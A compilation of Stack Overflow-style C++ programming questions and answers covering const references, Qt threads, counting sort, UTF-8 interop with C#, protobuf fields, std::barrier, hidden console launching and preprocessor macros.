Q1: These are just declarations for importing libraries Q2: Before the start of this code, the vector contains n integers in ascending order. The for loop then will sum the last m elements of the array, so therefore summing largest m elements in the input. After the for loop the median of the remaining numbers is appended and the sum is printed to the console. Fixed precision simply refers to how many digits of the decimal are printed. This technique works by assigning the largest m-1 regions to the their own categories. The median of a one element list is that element, so the largest m-1 regions are all medians. The remaining regions are all assigned to one category. The median of this list is also added after the for loop. Through this, the largest sum of medians is computed. Q3: A vector is basically a more flexible version of an array. The reason it's used here is because the size of a vector can be declared during runtime and while arrays must be declared at compile-time. A great resource for vectors is the C++ reference page: https://cplusplus.com/reference/vector/vector/ It is a little hard to read for beginners so a good intro to the subject is here.
73,225,886
73,226,763
Difference between a const reference parameter and const parameter in the context of a function
I tend to use const reference parameters when calling functions assuming this would be efficient since copies of the same wouldn't not be made. Accidentally I changed the function parameter in a function that previously had a const reference parameter to const now, and I observed that the code size is reduced upon compilation. To check this, I looked into the assembly of a MWE: #include <cstdint> void foo(const int n) { int a = n + 1; } void foo(const int& n) { int a = n + 1; } On line 19 of the generated assembly code, I see an additional step ldr r3, [r3] in the case of void foo(const int& n) when compared to void foo(const int n). I assume this is the reference to variable n (I could be wrong, please forgive me). So, my question is, why is the code larger when passing via reference and also what method is efficient?
A reference can be understood as something in between a name alias and a pointer. From What are the differences between a pointer variable and a reference variable?: A compiler keeps "references" to variables, associating a name with a memory address. Its job is to translate any variable name to a memory address when compiling. When you create a reference, you only tell the compiler that you assign another name to the pointer variable; that's why references cannot "point to null". A variable cannot be, and not be at the same time. Pointers are variables; they contain the address of some other variable, or can be null. The important thing is that a pointer has a value, while a reference only has a variable that it is referencing. On a 32 bit-machine, a pointer has 4 bytes (4*8 = 32 bits) while on a 64-bit machine a pointer has 8 bytes (8*8 = 64 bits), because that is the size of a single memory address. On a 32 bit-machine, int, long are each 4 bytes (32 bits) quantities. On most 64-bit systems, long becomes 8 bytes (64 bits), but int remains 32-bit (4 bytes). [Speaking about primitive types, the size of char is fixed at 1 byte (or CHAR_BIT = 8 bits) explicitly in the C++ standard.] Given that passing a const reference as function parameter requires the compiler to dig for the memory address of the referenced variable, in case the variable is a primitive type such as int or char the digging in memory (pointer is 8 bytes) is going to be more expensive than passing the variable itself by value (4 bytes for int, 1 byte for char). The question is about the efficiency of parameters passed by const reference. Of course, a function accepting a parameter by non-const reference would have the advantage - unrelated to efficiency - of allowing modifications of the referenced variable to persist, when control goes back to the caller.
73,226,144
73,226,725
Is it safe for a QObject's thread affinity to be a deleted QThread?
Consider the following code: QThread *thread = nullptr; QObject *object = nullptr; void setup() { QThread *thread = new QThread; QObject *object = new QObject; object->moveToThread(thread); thread->start(); } void cleanup() { thread->exit(0); thread->wait(1000); if (!thread->isFinished()) { // handle error condition } delete thread; } void postEventToThread() { if (!object) { return; } QEvent *event = new QEvent(QEvent::User); qApp->postEvent(object, event); } If postEventToThread() is called after setup() and before cleanup(), then everything should work properly and an event will get posted to object's event queue and processed in thread. However, what happens if cleanup() is called before postEventToThread()? In that case object still exists and is a valid object, but its thread has been deleted. Does object automatically start behaving as though it has no thread affinity? Or is this an error? I tested it out and it doesn't seem to print any warnings, cause any crashes, or otherwise behave badly. But I want to check and make sure that deleting an object's thread (but not the object itself) and posting an event to it is allowed in Qt before I commit to it.
QThread starts the event loop by calling exec() and runs a Qt event loop inside the thread. However, what happens if cleanup() is called before postEventToThread()? thread is deleted and it's event loop exits, all event processing for object stops. Does object automatically start behaving as though it has no thread affinity? Or is this an error? In this case object is no longer associated with any thread. You can call it's methods from other threads, e.g main thread of application. Methods called directly on will execute in the thread that calls the method. But I want to check and make sure that deleting an object's thread (but not the object itself) and posting an event to it is allowed in Qt before I commit to it. It's not disallowed but does not make sense. As I've wrote before, since after object's thread is deleted, all event processing for object stops.
73,226,827
73,227,167
Counting sort problem in c++ , compiler shows no output
Counting Sort problem in c++ I tried to write a counting sort algorithm in c++. But this program is not working. I tried to debug, but can't find the problem. Compiler shows no output(code is attached in the below). Can anyone tell me, What's going wrong in this code? How can I fix this problem? Thanks in advanced. #include <bits/stdc++.h> using namespace std; void printArray(int a[], int n){ for(int i=0;i<n;i++){ cout<<a[i]<<" "; } cout<<endl; } int main() { int n; cin>>n; int a[n]; for(int i=0;i<n;i++){ cin>>a[i]; } cout<<"Before Sort: "; printArray(a,n); //step-1: Find Maximum int max=INT_MIN; for(int i=0;i<n;i++){ if(a[i]>max){ max=a[i]; } } //step-2: Initialization count+1 as 0 int count[max+1]; for(int i=0;i<=max;i++){ count[i]=0; } //step-3 Frequency calculation for(int i=0;i<n;i++){ count[a[i]]++; } //step-4 Cumlative sum for(int i=1;i<=max;i++){ count[i]+=count[i-1]; } //step-5: Final array --> Backword traversal of basic array int final[n]; for(int i=n-1;i>=0;i++){ count[a[i]]--; int k=count[a[i]]; final[k]=a[i]; } cout<<"After Sort: "; printArray(final,n); return 0; }
I've changed all of your dynamically size arrays to vectors. I also changed your cumulative sum and backtracking loops to better match a counting sort. #include <bits/stdc++.h> using namespace std; void printArray(vector<int> a, int n){ for(int i=0;i<n;i++){ cout<<a[i]<<" "; } cout<<endl; } int main() { int n; cin>>n; vector<int>a(n); for(int i=0;i<n;i++){ cin>>a[i]; } cout<<"Before Sort: "; printArray(a,n); //step-1: Find Maximum int max=INT_MIN; for(int i=0;i<n;i++){ if(a[i]>max){ max=a[i]; } } //step-2: Initialization count+1 as 0 vector<int> count(max+1,0); //step-3 Frequency calculation for(int i=0;i<n;i++){ count[a[i]]++; } //step-4 Cumlative sum- NOT NEEDED //for(int i=1;i<=max;i++){ // count[i]+=count[i-1]; //} //step-5: Final array --> Backword traversal of basic array vector<int> final(n); int index=0; //iterate through frequency list for(int i=0;i<max;i++){ //add any elements to sorted list for(int j=0;j<count[i];j++){ final[index]=i; index++; } } cout<<"After Sort: "; printArray(final,n); return 0; }
73,226,969
73,228,963
How to create an un-escaped string of hex bytes in C#
I am working with a C++ API from my C# codebase and am having issues with Cyrillic characters in a file path. I am trying to call the wrapped C++ function which should load an object from the file. The C++ function signature looks like this: GetModelFromFileCpp(ModelRefType * model, const char * file_path) This function is wrapped within my C# library as so: [DllImport("CPPLibrary.dll", EntryPoint="GetModelFromFileCpp", CallingConvention=CallingConvention.Cdecl)] public static extern ResultType GetModelFromFileCs(out IntPtr model, string file_path) I don't have access to the C++ library to see what is going on inside. I should add that the documentation for the C++ library mentions that this function is expecting that the file path is UTF-8 encoded. The problem appears when I pass in a string to represent the absolute path of the file, and the string contains Cyrillic characters. I've also seen this issue with Japanese characters. The string, for example, could be "C:\Users\UserDirWithÀâChar\App Data\Local\Temp", where the Windows User name contains these characters. The fact that the User's name contains these characters is important, because my code is generating a temp file which is placed in the \AppData\Local\Temp which does not seem friendly toward copying and placing elsewhere unless I'm debugging in Admin mode. So, it seems as though I'm forced to use a path which contain these characters. I created the following script to test out the string encoding. string path = @"C:\Users\UserDirWithÀâChar\App Data\Local\Temp"; byte[] b = Encoding.UTF8.GetBytes(path); string r = String.Empty; foreach(byte bite in b) { r += (@"\x" + String.Format("{0:X2}", bite)); } var result = r.ToCharArray(); Console.WriteLine(result); Result: \x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x55\x73\x65\x72\x44\x69\x72\x57\x69\x74\x68\xC3\xA4\xC3\xB6\x43\x68\x61\x72\x5C\x41\x70\x70\x20\x44\x61\x74\x61\x5C\x4C\x6F\x63\x61\x6C\x5C\x54\x65\x6D\x70 I found that when I copy this output directly and paste it into the wrapper function during a debugger session (using the immediate window in Visual Studio), that the C++ library function gives me the correct result. If I pass in the variable storing this value, however, I see that a serialization error has occurred and that the file can not be read (or found). It appears that when this string is set into a string variable, the characters are being transformed from these hexidecimal representations to their actual characters which includes the escaped backslash: "\\x43\\x3A\\x5C\\x55\\x73\\x65\\x72\\x73\\x5C\\x55\\x73\\x65\\x72\\x44\\x69\\x72\\x57\\x69\\x74\\x68\\xC3\\xA4\\xC3\\xB6\\x43\\x68\\x61\\x72\\x5C\\x41\\x70\\x70\\x20\\x44\\x61\\x74\\x61\\x5C\\x4C\\x6F\\x63\\x61\\x6C\\x5C\\x54\\x65\\x6D\\x70". An interesting thing I found is that the size of the first string is 4x less than the size of the last string (the one with escaped backslashes), but both of these evaluate to type String. What is the difference between these two, and is it possible to set a variable with the exact value of the first string (no extra backslashes)? EDIT: Here is my full implementation public static Model CreateModelFromFile(string path) { byte[] bytes = Encoding.UTF8.GetBytes(path); string encodedPath = String.Empty; foreach(byte b in bytes) { encodedPath += (@"\x" + String.Format("{0:X2}", b)); } IntPtr model_ref; if (ModelAPI.CreateFromFileWithStatus(out model_ref, encodedPath) { return new Model(model_ref); { return null; } Also, I have tried using adding @ to the beginning of the string literal during debugging but this didn't work. The string is passed in during a process several levels above this-- retrieved from the file system using System.IO.Path.GetTempFileName().
What you are doing to pass UTF8 simply isn't how UTF8 is supposed to be represented. That's just the way you write it in C# code as a literal string. What you show in your debugger is just a hex representation of the actual bytes. In actual UTF8 strings, each character occupies a single byte, or multiple if using characters above U+007F. Unfortunately, there is no automatic marshalling for UTF8, only for ANSI or UTF16. You need to pass this as a null-terminated array of bytes [DllImport("CPPLibrary.dll", CallingConvention = CallingConvention.Cdecl)] public static extern ResultType GetModelFromFileCpp(out IntPtr model, byte[] file_path) public static Model CreateModelFromFile(string path) { byte[] pathAsBytes = Encoding.UTF8.GetBytes(path + '\0'); if (ModelAPI.CreateFromFileWithStatus(out var model_ref, pathAsBytes)) { return new Model(model_ref); } return null; }
73,227,224
73,227,416
C++: Initialize struct with incomplete type
I have two types defined in a header file like so: struct vec2{ float x; float y; vec2() : x(0), y(0) {} }; struct vec3{ float x; float y; float z; vec3() : x(0), y(0), z(0) {} }; In some C++ file I would like to be able to write: vec2 a2 = {2,4}; vec3 a3 = vec2(a2); //This would give me a3 with a z-value of 0. Which would work by adding this to the header: vec3(vec2 a) : x(a.x), y(a.y), z(0) {} But I would also like to be able to write: vec3 a3 = {1,2,4}; vec2 a2 = vec3(a3); //Where this would result in a3's z component being dropped. Is this possible? Would I need to typedef it somehow so the compiler knows ahead of time what size the 2 structures are?
No problem, you have to set the constructors up to perform implicit conversions: namespace vec{ // if in a header, this should avoid possible name conflicts struct vec3; // forward declaration struct vec2{ float x; float y; vec2(float inp1 = 0, float inp2 = 0): x(inp1), y(inp2) {} vec2(const vec3& inp); // vec3 forward declared }; struct vec3{ float x; float y; float z; vec3(float inp1 = 0, float inp2 = 0, float inp3 = 0): x(inp1), y(inp2), z(inp3) {} vec3(const vec2& inp): x(inp.x), y(inp.y), z(0) {} }; vec2::vec2(const vec3& inp): x(inp.x), y(inp.y) {} } Test function: int main() { using namespace vec; vec3 a = {1,2,3}; vec2 a_minus(a); vec3 a_again(a_minus); std::cout << a_minus.x << ", " << a_minus.y << ", " << a_again.z <<'\n'; return 0; } Output: 1, 2, 0
73,227,934
73,228,134
shared_ptr of barrier doesn't keep the expected counter
I have 2 code examples syncing 2 threads with std::barrier{2}. In one I create the barrier statically, and in one I create it dynamically. The 2nd way mimics the way I want to use the barrier - since number of threads - and hence the "size" of the barrier, is something I'll know only on runtime, making it impossible to declare it static. My question is - why the static snippet works, where the dynamic snippet (using shared pointers) doesn't (it just hangs...) My snippets are compiled and run with: clang++-15 -l pthread --std=c++20 demo.cpp && ./a.out (I've also used g++-11) Updated (3rd snippet working! :) ) #include <barrier> #include <functional> #include <future> #include <iostream> #include <memory> #include <vector> // Working // static std::barrier b{2}; // int task() { // b.arrive_and_wait(); // std::cout << "start\n"; // b.arrive_and_wait(); // std::cout << "stop\n"; // return 0; //} // int main() { // std::vector<std::future<int>> promises; // for (int i = 0; i < 2; ++i) { // auto promise = std::async(task); // promises.push_back(std::move(promise)); // Why must I use std::move? //} // for (auto& promise : promises) { // std::cout << promise.get() << std::endl; //} // return 0; //} // Not working (1) - reference // int task(std::barrier<std::function<void()>>& b) { // std::cout << "start\n"; // b.arrive_and_wait(); // std::cout << "stop\n"; // b.arrive_and_wait(); // return 0; //} // int main() { // std::vector<std::future<int>> promises; // std::barrier<std::function<void()>> barrier{2}; // for (int i = 0; i < 2; ++i) { // auto promise = std::async(task, std::ref(barrier)); // promises.push_back(std::move(promise)); // Why must I use std::move? //} // for (auto& promise : promises) { // std::cout << promise.get() << std::endl; //} // return 0; //} // Working!! int task(std::shared_ptr<std::barrier<>> b) { std::cout << "start\n"; b->arrive_and_wait(); std::cout << "stop\n"; b->arrive_and_wait(); return 0; } int main() { std::vector<std::future<int>> promises; auto barrier = std::make_shared<std::barrier<>>(2); for (int i = 0; i < 2; ++i) { auto promise = std::async(task, barrier); promises.push_back(std::move(promise)); // Why must I use std::move? } for (auto& promise : promises) { std::cout << promise.get() << std::endl; } return 0; }
You're attempting to call a default-initialized std::function. Your two examples use different CompletionFunction types. std::barrier b{2} uses the default CompletionFunction type, which is an unspecified DefaultConstructible function that does nothing. std::make_shared<std::barrier<std::function<void()>>> use std::function<void()> as its CompletionFunction type, which while DefaultConstructible, will throw an exception if you attempt to call it without giving it a callable to wrap. Since you never initialize your std::barrier's CompletionFunction and std::barrier's CompletionFunction isn't allowed to throw exceptions, you get undefined behavior. (Technically I think it's undefined behavior to use std::function as the CompletionFunction type at all, since std::is_nothrow_invocable_v<std::function<void()>&> is false)
73,228,078
73,230,180
Protobuf packed (de)serialization
Since protobuf does not support the uint16_t datatype, I have a field below describing what I have in place. uint32_t fingerprints = 1 [packed=true]; To save space, I have a C++ program that packs together two uint16_t values and add them that way, here is an example: uint16_t value1 = 100; // Arbitrary values uint16_t value2 = 200; protoObject.add_fingerprints((uint32_t)value1 << 16) + value2; To deserialize them, I do: uint16_t value1 = protoObject->fingerprints(i) >> 16; uint16_t value2 = protoObject->fingerprints(i) & 0x0000FFFF; However, it seems like this does not produce the values I want, and the values after deserialization does not match the values before it. Is there something special protobuf does that prevents me from doing this?
To save space, I have a C++ program that packs together two uint16_t values and add them that way No bother to do that. Protobuf uses variable length encoding to serialize uint32_t, which will do 'pack' for you to save space, i.e. for an uint16_t number, protobuf will not encode it to 4 bytes, instead, it might encode it to less than 2 bytes, depends on the number.
73,228,114
73,228,358
Launch command line programs behind all open windows from a C++ executable
I am working on C++ program in windows which launches numerous external programs using command lines in quick succession after previous one finishes. Currently a new terminal pops up in front every time I make an external program call. I have tried SYSTEM an POPEN. Is there a way to launch these terminals in the back behind all open windows so that its not annoying to the end user who may be working on other stuff? One solution is listed here but doesn't work for me as it still pops up terminal in the foreground. c++ run system() in background, with spaces in dir path, + output to text file system("start \"\" cmd abcd.exe");
Unless you really need to use system(), I would recommend using ShellExecuteA, if you set nShowCmd to 0, it doesn't generate any windows or pop up any consoles.
73,228,415
73,229,431
How can A and not A be both true when using static_assert
A very confusing situation involving some constexpr and type traits led me to think the value of an expression is true, when in fact it was both true and false. https://godbolt.org/z/McYMvxasT #include <utility> #include <iostream> template<typename T> struct S { constexpr int f() const { constexpr bool t = std::is_same_v<double, double>; static_assert(t); static_assert(!t); //static_assert(false); return 0; } static const int t = f(); }; int main() { //S<int> s; //std::cout << S<int>::t; return 0; } I know that if f() never gets instantiated then static_asserts are skipped but this hypothesis is rejected by uncommenting the line static_assert(false) which does fail. Is this a compiler bug?
A template which is not instantiated and which has no well-formed instantiation is ill-formed with no diagnostic required. The program is invalid but the compiler is not required to diagnose it.
73,228,546
73,228,928
Pointer losing visibility during cross-class access
I have an issue where class GUI_System accesses a member of class ThreadManger through class GUI_Top. What happens is that accessing the member from its original container shows its correct contents, but when accessed from GUI_System it doesn't. I have found out that in class ThreadManger, prior to the member in question, there are some other objects that if i comment them out, the behavior is changed. if i leave everything in, then StructLoadSystem has an address of 0x0 if i comment out one of the two method pointers then the address of StructLoadSystem is not 0x0 anymore, but is still different from that seen from ThreadManger. if i further comment out some more objects, then the address returns to be 0x0. My issue happens on a big project of mine with a lot of interdependent files so i have stripped to the bare minimum the code in order to create a test-case. Please also note that i have to keep the files separate, because for some reason if i put everything in the same file, the issue disappears so including order might be a thing to look into. For convenience i have created a Visual Studio solution that can be launched directly. You can find it here. Can someone give any ideas of what could be happening and/or what i could do to further debug this?
I downloaded your project and had a look at it. The primary issue seems to be that you are storing a pointer to a method on a forward-declared type. The size and/or padding for such values is unknown without the definition of what it points to. Here is your ThreadManger [sic] stripped back: class GUI_System; class ThreadManger { class JobsClass { public: void (GUI_System::* EndEvent)(); }; public: JobsClass MyJobs; //<-- Unknown size, if GUI_System is not defined ServiceStruct* StructQuitApplication; //<-- Offset might change depending on above }; And so, in ThreadManger.cpp you have this situation: //<-- At this point, GUI_System is NOT defined #include "ThreadManger.h" Whereas in GUI_System.cpp you have this: #include "GUI_System.h" //<-- At this point, GUI_System IS defined #include "GUI_Top.h" //<-- This includes ThreadManger.h When I compile the project as 32-bit, the following occurs: ThreadManger thinks that sizeof(ThreadManger::MyJobs) is 16 GUI_System thinks that sizeof(ThreadManger::MyJobs) is 4 When I compile the project as 64-bit, the following occurs: ThreadManger thinks that sizeof(ThreadManger::MyJobs) is 24 GUI_System thinks that sizeof(ThreadManger::MyJobs) is 8 That means the offset of ThreadManger::StructQuitApplication is different in these two translation units and in fact the issue is caused by your ThreadManger implementation, not GUI_System. It's a nasty one for sure, being sensitive to the order of header inclusion. The quick fix is to #include "GUI_System.h" in ThreadManger.h, instead of forward-declaring it. That's not to say this is a "good" fix, because more fundamentally your design is much too interconnected. The tight coupling of these classes all knowing about each-other's members is something that should be avoided. And nothing quite illustrates that better than the issue you've just encountered. I highly recommend you rethink your design. At the very least, you ought to be making a lot of this stuff private and expose functionality via methods. As for the JobsClass stuff, you can use the PIMPL idiom by forward-declaring it and storing privately as a pointer. Then, in the implementation you would ensure you have included GUI_System.h so that the class can be properly defined. You may also consider using std::function and lambdas instead of pointer-to-method for your jobs. Alternatively, define an abstract Job class with a Execute method, which is called when dispatching an event. Whichever way you do it, ideally a "thread manager" should be general purpose and not need to know anything about who or what is using it.
73,228,567
73,230,146
Set elements from array pointer into protobuf in C++
I have a pointer to an array called array which is defined as uint16_t *array. I have another variable called size that shows how many elements there is. I have a field in a protobuf message defined as: required bytes array = 1; How can I use the generated method protoMessage.set_array to convert my array into the field? Edit: I realized I could do protoMessage.set_array(array, sizeof(uint16_t) * size); to put the data in, still unsure about how to properly set it out.
Since Protobuf's bytes type is a std::string, you need to serialize your uint16_t array into a string, and calls set_array. protoMessage.set_array(array, sizeof(uint16_t) * size); However, your serialization might not be portable, because of the big/little endian problem. In your case, why not define your proto message field as repeated? So that you can put your uint16_t array into the field, and protobuf will do the serialization work for you. repeated uint32 array = 1; protoMessage.mutable_array()->Add(array, array + size);
73,229,197
73,229,380
transfer lambda to another lambda with different type
Suppose I have two functions testMethodOnInt and testMethod, they both take std::function as parameter. One is on type int, the other is on type pair<string, int>. Is there a way to keep testMethod(lambda); call in main function, but modify testMethod to use testMethodOnInt, so it can print every value in the map. There are a few additional requirements: testMethod has to been called in the main function, while testMethodOnInt can't be called in main function testMethod can't access the map directly, it has to call testMethodOnInt #include <iostream> #include <functional> #include <map> #include <string> std::map<std::string, int> m { {"CPU", 10}, {"GPU", 15}, {"RAM", 20}, }; // This method can't be called in main directly void testMethodOnInt(std::function<void(int)> f2) { for(const auto& item : m) { f2(item.second); } } // this method doesn't have access to the map, but can call testMethodOnInt method void testMethod(std::function<void(std::pair<std::string, int>)> f) { .. } int main() { auto lambda = [](std::pair<std::string, int> x) { std::cout << x.second << std::endl; }; testMethod(lambda); }
You can wrap f with a lambda and forward it to testMethodOnInt. void testMethod(std::function<void(std::pair<std::string, int>)> f) { testMethodOnInt([&](int x) { f({"", x}); }); }
73,229,272
73,229,580
Common interface with a wrapper around std::variant or unions
This question is related to Enforcing a common interface with std::variant without inheritance. The difference between that question and this one, is that I wouldn't mind inheritance, I am simply looking for the following structs/classes... struct Parent { virtual int get() = 0; }; struct A : public Parent { int get() { return 1; } }; struct B : public Parent { int get() { return 2; } }; struct C : public Parent { int get() { return 3; } }; ... to be AUTOMATICALLY "assembled" into a template: template<typename PARENT, typename... TYPES> struct Multi { // magic happens here } // The type would accept assignment just like an std::variant would... Multi<Parent, A, B, C> multiA = A(); Multi<Parent, A, B, C> multiB = B(); Multi<Parent, A, B, C> multiC = C(); // And it would also be able to handle virtual dispatch as if it were a Parent* Multi<Parent, A, B, C> multiB = B(); multiB.get(); // returns 2 Is this possible? If so, how? I would like to avoid working with handling pointers, as the use of std::variant/unions is intended to make memory contiguous.
You can't automagically set this up to allow multiB.get(), but you can allow multiB->get() or (*multiB).get() and even implicit conversion, by providing operator overloads: template<typename Base, typename... Types> struct Multi : std::variant<Types...> { using std::variant<Types...>::variant; operator Base&() { return getref<Base>(*this); } Base& operator*() { return static_cast<Base&>(*this); } Base* operator->() { return &static_cast<Base&>(*this); } operator const Base&() const { return getref<const Base>(*this); } const Base& operator*() const { return static_cast<const Base&>(*this); } const Base* operator->() const { return &static_cast<const Base&>(*this); } private: template<typename T, typename M> static T& getref(M& m) { return std::visit([](auto&& x) -> T& { return x; }, m); } }; You've probably encountered this kind of thing before when using iterators from the standard library. Example: int main() { Multi<Parent, A, B, C> multiA = A(); Multi<Parent, A, B, C> multiB = B(); Multi<Parent, A, B, C> multiC = C(); // Dereference std::cout << (*multiA).get(); std::cout << (*multiB).get(); std::cout << (*multiC).get(); // Indirection std::cout << multiA->get(); std::cout << multiB->get(); std::cout << multiC->get(); // Implicit conversion auto fn = [](Parent& p) { std::cout << p.get(); }; fn(multiA); fn(multiB); fn(multiC); } Output: 123123123
73,229,349
73,229,605
What is the "const operator" in C++?
Note: This does not mean the const keyword, as the following example doesn't contain it at all. P1102R2 contains the following: std::string s1 = "abc"; auto withParen = [s1 = std::move(s1)] () { std::cout << s1 << '\n'; }; std::string s2 = "abc"; auto noSean = [s2 = std::move(s2)] { // Note no syntax error. std::cout << s2 << '\n'; }; These particular lambdas have ownership of the strings, so they ought to be able to mutate it, but s1 and s2 are const (because the const operator is declared const by default)... What confuses me is the addition in brackets: because the const operator is declared const by default What is the const operator in C++? How does this operator relate to the provided code example?
This is referring to the fact that a lambda is really just a dressed up operator() overload in an anonymous class. And, guess what? Lambda captures are merely members of the anonymous class. The above example is equivalent to: class [anonymous] { std::string s1; public: [anonymous](std::string &&s1) : s1{ std::move(s1) } {} void operator()() const { std::cout << s1 << '\n'; } }; [anonymous] withParen{ std::move(s1) }; That's what the example lambda declaration boils down to (actual construction details hacked together merely to get the point across, there's only one move that takes place, in real-sies). And note the const qualifier on the operator() overload. That's the const that the paper is referring to, in this particular instance. That's why if the lambda tries to modify s1 that results in a compilation failure. Also note that using the mutable keyword is equivalent to not specifying a const qualifier on the operator() overload.
73,230,291
73,238,455
Why the symbols for cards is not showed ( hearts, spades, diamonds, clubs) when I run the program?
//This program first set 52 cards with their number and their Suit and then it displays them. After that it shuffles the cards and swaps them with random cards and display them. But problem is that while displaying the cards the symbol of their suit is not displayed. Why?? Please help someone!!! PS: In the deck of cards the numbering of cards starts from 2. Because Ace has been assigned 14. #include <iostream> #include <cstdlib> // for srand(), rand() #include <ctime> // for time for srand() using namespace std; enum Suit { clubs, diamonds, hearts, spades }; const int jack = 11; // from 2 to 10 are integers without names const int queen = 12; const int king = 13; const int ace = 14; class card { private: int number; // 2 to 10, jack, queen, king, ace Suit suit; // clubs, diamonds, hearts, spades public: card() // constructor { } void set(int n, Suit s) // set card { number = n; suit = s; } void display(); // function declaration ; display card }; void card ::display() // display() definition; this function displays the card { if (number >= 2 && number <= 10) cout << number; else switch (number) { case jack: cout << "J"; break; case queen: cout << "Q"; break; case king: cout << "K"; break; case ace: cout << "A"; break; } switch (suit) { case clubs: cout << static_cast<char>(5); break; // here is the problem case diamonds: cout << static_cast<char>(4); break; // it does not displays case hearts: cout << static_cast<char>(3); break; // the symbol of Suit case spades: cout << static_cast<char>(6); break; // for all types of cards } } int main() { card deck[52]; int j; cout << endl; for (j = 0; j < 52; j++) // makes an ordered deck { int num = (j % 13) + 2; // cycles through 2 to 14, 4 times Suit su = Suit(j / 13); // cycles through 0 to 3, 13 times deck[j].set(num, su); // set card } cout << "\nOrdered deck:\n"; for (j = 0; j < 52; j++) // display ordered deck { deck[j].display(); cout << " "; if (!((j + 1) % 13)) // newline every 13 cards cout << endl; } srand(time(NULL)); // seed random numbers with time for (j = 0; j < 52; j++) // for each card in the deck, { int k = rand() % 52; // pick another card at random card temp = deck[j]; // and swaps them deck[j] = deck[k]; deck[k] = temp; } cout << "\nShuffled deck:\n"; for (j = 0; j < 52; j++) // display shuffled deck { deck[j].display(); cout << " "; if (!((j + 1) % 13)) // newline every 13 cards cout << endl; } return 0; } // end main()
switch (suit) { case clubs: cout << "\u2663"; break; case diamonds: cout << "\u2666"; break; case hearts: cout << "\u2665"; break; case spades: cout << "\u2660"; break; }
73,230,334
73,230,602
Find an element in a matrix M*M of numbers which have exactly 3 divisors in given time?
This was a task given on a coding competition a few months ago, and its still bugging me now. I did solve it, but my code did not give the result in required time for 3 test samples, likely due to the very large numbers they used. The thing is, looking at my code i see no obvious improvements that would reduce the time further. The input has 3 numbers: the side length of the matrix, row and column of the required number. For a matrix size 3, it would look like: 4 9 16 121 49 25 169 289 361 A number that has 3 divisors can only be a squared prime number, so my solution was to generate primes until the needed position. #include<iostream> bool prime(long long a) { //if(a%2==0) // return false; //no numbers passed will be even for(long long i=3;i*i<=a;i+=2) if(a%i==0) return false; return true; } int main() { int side, row, col, elem, count=1; long long num=1; std::cin >> side >> row >> col; if(row==1 && col==1) { std::cout << '4'; return 0; } elem=(row-1)*side+col+(row%2==0)*(side-2*col+1);//gets required position in matrix while(count<elem) { num+=2; if(prime(num)) count++; } std::cout << num*num; }
Rather than this: while(count<elem) { num+=2; if(prime(num)) count++; } This: vector<long long> primes; primes.push_back(2); while (count < elem) { num += 2; if (prime(num, primes)) { primes.push_back(num); count++; } } Where your prime function is modified to only test divisibility against previously found prime numbers: bool prime(long long num, const vector<long long>& primes) { for (auto p : primes) { if (num % p == 0) { return false; } } return true; } The above should speed things up significantly. There's also the sieve of eros thing. But the above should be sufficient for most leet coding challenge sites.
73,230,441
73,234,617
Launch command line window in hidden mode from a C++ code and read output log file
On windows machine, My code runs ShellExecute to launch abc.exe with SW_HIDE as the last argument to hide the launched command line window. This runs fine as desired. std::string torun = "/c abc.exe >abc.log"; HINSTANCE retVal = ShellExecute(NULL, _T("open"), _T("cmd"), std::wstring(torun.begin(), torun.end()).c_str(), NULL, SW_HIDE); My issue is that abc.log which captures the output of abc.exe is not accessible even though it is written successfully. Code below returns "file does not exist". std::string filename = "abc.log"; if (_access(filename.c_str(), 0) == -1) std::cout<<"file does not exist"; else std::cout<<"file exists"; I need to read the content of this log file after checking that it exists. Code below also returns "file does not exist". ifstream fin; fin.open("abc.log"); if(fin) std::cout<<"file exists"; else std::cout<<"file does not exist"; Is there some permission issue? I have two needs - launch abc.exe on a command line window which is hidden or runs behind all open windows and also be able to read the abc.log. Appreciate the help.
You need to wait for the child process to finish: #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <tchar.h> #include <shellapi.h> ... SHELLEXECUTEINFO sei = { sizeof(sei), SEE_MASK_NOCLOSEPROCESS|SEE_MASK_FLAG_NO_UI }; sei.lpFile = TEXT("cmd.exe"); sei.lpParameters = TEXT("/C ping localhost > abc.log"); // Command that takes a while to complete sei.nShow = SW_HIDE; if (ShellExecuteEx(&sei)) { if (sei.hProcess) { WaitForSingleObject(sei.hProcess, INFINITE); CloseHandle(sei.hProcess); FILE*file = fopen("abc.log", "r"); if (file) { char buf[1337]; size_t cb = fread(buf, 1, sizeof(buf), file); if (cb) { buf[min(cb, sizeof(buf)-1)] = '\0'; MessageBoxA(NULL, buf, "stdout started with", 0); } fclose(file); } } } This is still a bit lazy, the optimal way to read stdout from a child process is to call CreateProcess with pipes.
73,230,831
73,230,892
Scope resolution operator with shadowing in blocks
Not that you'd write code like this, but trying to better understand the scope resolution operator ::. Is it possible to access the version of foo that stores the value 2 in the inner scope without having it be a named namespace? #include <iostream> using std::endl; using std::cout; // Some global. int foo = 1; int main() { cout << foo << endl; //<-- Prints 1. // Shadow it: int foo = 2; cout << foo << endl; //<-- Prints 2. // Access the global: cout << ::foo << endl; //<-- Prints 1. { // More shadows: int foo = 3; cout << foo << endl; // The local. 3. cout << ::foo << endl; // The global, 1 //cout << ::main::foo << endl; //<-- Obviously invalid. // ::..::foo // Totally not it. // Is it possible go access 2 here? } } Thanks!
Is it possible go access 2 here? No, it is not possible to access the 2nd foo as it has been hidden from the inner foo. One thing that you can do if you must use the outer foo from #2 is that you can create an alias for it with some other name like ref and then use that alias as shown below: // Some global. int foo = 1; int main() { cout << foo << endl; // Shadow it: int foo = 2; cout << foo << endl; cout << ::foo << endl; { //------------v-------------->create alias lvalue reference int const& ref = foo; int foo = 3; cout << foo << endl; cout << ::foo << endl; // possible to access foo from #2 using alias ref but not using the name foo std::cout<<ref; //prints 2 } }
73,231,836
73,235,027
define macro with conditional evaluation in C/C++
is there a way/trick to make a #define directive evaluate some condition? for example #define COM_TIME_DO(COND, BODY) \ #if (COND) BODY #else #endif it's ok also to use template but body must be an arbitrary (correct in the context is used to) piece of code, simply just present or not in the source depending of COND. as it is now the previous code doesn't even compile. the goal of this question is primarly a better knowledge of the language and what i'm trying to do is define a debug macro system that i can activate selectively on certain parts of code for example: A.hpp #define A_TEST_1 1 #define A_TEST_2 0 Class A { ... COM_TIME_DO(A_TEST_1, void test_method_1(); ) COM_TIME_DO(A_TEST_2, void test_method_2(); ) }; A.cpp COM_TIME_DO(A_TEST_1, void A::test_method_1() { ... }) COM_TIME_DO(A_TEST_2, void A::test_method_2() { ... })
